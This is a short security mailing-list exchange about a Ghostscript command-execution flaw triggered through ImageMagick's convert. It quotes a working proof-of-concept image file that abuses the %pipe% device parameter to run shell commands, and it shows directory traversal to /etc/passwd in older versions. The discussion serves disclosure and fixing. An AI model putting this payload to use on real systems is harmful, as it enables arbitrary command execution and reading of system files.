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Date: Fri, 30 Sep 2016 15:58:25 -0700
From: Tavis Ormandy <>
To: Florian Weimer <>
Subject: Re: ImageMagick identify "d:" hangs

On Fri, Sep 30, 2016 at 2:11 PM, Florian Weimer <> wrote:
> * Tavis Ormandy:
>> $ cat test.gif
>> currentdevice null true mark /OutputICCProfile (%pipe%id > /dev/tty)
>> .putdeviceparams
>> quit
>> $ convert test.gif png:test.png
>> (Note: I don't know why it doesn't work on earlier versions, maybe
>> it's possible to make it work, or some other param will work)
> It still tries to open a file in earlier versions, with directory
> traversal:
> [pid 29607] open("/usr/share/ghostscript/9.06/iccprofiles/../../../../../etc/passwd", O_RDONLY) = 5
> The %pipe%-based execution was introduced as a side effect of:

Thanks Florian! I took a look where that directory comes from, I think
it pulls it from a userparam, like:

<< (ICCProfilesDir) (whatever) >> .setuserparams

That probably needs to be fixed. I wonder if there's a way to get that
directory to populate back into the PermitFileReading array?


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